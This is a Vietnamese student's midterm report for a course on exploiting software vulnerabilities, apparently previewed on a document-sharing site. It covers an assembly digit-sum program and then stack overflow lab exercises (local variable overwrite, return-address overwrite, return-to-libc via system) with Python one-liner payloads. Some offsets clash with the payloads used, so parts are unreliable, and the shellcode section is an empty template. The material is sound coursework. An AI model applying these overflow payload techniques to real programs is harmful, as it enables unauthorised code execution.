Tải bản đầy đủ (.docx) (13 trang)

Khai thác lỗ hổng phần mềm part2

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (511.77 KB, 13 trang )

BÁO CÁO KẾT QUẢ BÀI THI GIỮA KỲ
KHAI THÁC LỖ HỔNG PHẦN MỀM
Thông tin sinh viên
Số thứ tự: 08
Họ và tên: Nguyễn Thị Kim Huế
Câu 1 (2 điểm). Viết chương trình hợp ngữ
Đề bài :
x = ((23-STT) % 6) + 1 = 4
Thực hiện đề 4.Viết chương trình tính tổng các chữ số trong số nguyên không
âm 32 bít
Chương tình hợp ngữ:
Chương trình là "exercise1.asm"
global _start:
_start:
push 123456789
call attt
xor ebx, ebx
mov eax, 1
int 80h
attt:
push ebp
mov ebp, esp
mov eax, [ebp + 8]
xor ebx, ebx
mov ecx, 10
loop:
cmp eax, 0
jz break
xor edx, edx
div ecx
add ebx, edx


continue:
jmp loop


break:
mov eax, ebx
mov ebx, [ebp + 8]
mov esp, ebp
pop ebp
ret 4
Kết quả chạy thử với số 123456789
- Đặt Break tại hàm loop.
- Run cho đên khi Eax=0

-

Kết quả lưu tại thanh ebx = 45



Kết quả chạy thử với số 0

Kết quả chạy thử với số 135


Kết quả chạy thử với số 246


.


Câu 2 (2 điểm). Ghi đè biến cục bộ
Xác định khoảng cách
- Bước 1: Quan sát code chương trình:

-

Tạo file thực thi bằng GCC:


- Bước 2: Phân tích tệp thực thi exercise2

-

Để thực thi chương trình nhận được kết quả “You won!”, thì v2 <0
Biến v1 nằm ở vị trí esp+3h và v2 nằm ở vị trí esp+1BCh.
Như vậy biến v2 nằm sau biến v1 một khoảng : 1BC-3= 441 byte
Để giải được bài này ta cần chèn thêm một chuỗi 441 byte bất kỳ sau đó
chèn thêm một chuỗi số âm bất kì : ví dụ ở đây em lấy giá trị ( -8 =

Mã khai thác bằng ngôn ngữ Python
python -c 'print "A"*441 + "\xf8\xff\xff\xff "' | ./exercise2
Kết quả khai thác

Câu 3 (2 điểm). Ghi đè địa chỉ trả về
- Code chuơng trình:


-

Xác định khoảng cách

- Đặt Breack poiut tại địa chỉ sau hàm Gets . Tức đặt tại 0x080484ac

-

Địa chỉ Buff là : 0xbfffed8f


-

-

Địa chỉ return là : 0xbffff00c

-

Vậy khoảng cách từ buff tới địa chỉ trả về là : 0xbffff00c- 0xbfffed8f= 367

Xác định địa chỉ trả về mới
Địa chỉ mới cần trả về là địa chỉ của hàm win : 0x0804846b

-

Mã khai thác bằng ngôn ngữ Python
Python ‘print ”A”*637 +”\x6b\x84\x04\x08” ’ | ./exercise3


Kết quả khai thác

Câu 4 (1 điểm). Return to LibC
Xác định khoảng cách

-

Chương trình exercise4.c

Biên dịch chương trình bằng lệnh gcc exercise4.c –o exercise4 –z execstack
-fno-stack-protector
- Tạo 1 file win in ra dòng chữ “You win!”
-

- Đặt Breackpoint tại địa chỉ sau hàm Gets . Tức đặt tại 0x0804849a


-

Địa chi buff là : 0xbfffec00

-

Địa chỉ eip là : 0xbffff00c

-

Vậy khoảng giữa buff và eip là : 0xbffff00c-0xbfffec00 =1036 = 40C
Chạy chương trình lấy điạ chỉ buff : 0xbfffec50

-


Xác định hàm libc cần dùng
- Ở đây ta sẽ sử dụng hàm thư viện chuẩn của LibC là: System

- Và ta dùng print system để in ra địa chỉ của system là: 0xb7e45da0

-

Ta lấy địa chỉ của Buf cộng thêm 40C để tính ra địa chỉ ret address là:
BFFFF05C
Từ đây ta sẽ có địa chỉ hàm sys là BFFF F068

Cấu trúc của stack

Mã khai thác bằng ngôn ngữ Python
python -c 'print "A"*1036 + "\xa0\x5d\xe4\xb7" +"BBBB" +"\x68\xf0\xff\xbf"
+ "./win"'|./exercise4
python -c 'print "A"*1676 + "\xa0\x5d\xe4\xb7" +"BBBB" +"\x28\xf0\xff\xbf"
+ "./win"'|./exercise3
Kết quả khai thác
Kết quả khai thác là in ra “You won!”.


Câu 5 (3 điểm). Shellcode
Mã assembly của shellcode
[Đưa mã assembly của shellcode vào đây (dùng text, không
dùng ảnh)]
Shellcode
[Trình bày cách thức và kết quả trích xuất shellcode từ chương trình đã viết. Tất
cả sử dụng text, không sử dụng hình]
Chạy thử shellcode
[Trình bày kết quả chạy thử shellcode]
Mô hình stack
[Trình bày các bước tính toán để xác định mô hình stack trước và sau khi đưa

mã khai thác vào. Vẽ hình để thể hiện cấu trúc stack tương ứng]
Mã khai thác
[Nội dung chương trình sinh mã khai thác bằng Python]
Kết quả
[Chụp hình thể hiện các lệnh để cấu hình, biên dịch, thực thi và kết quả khai
thác]



×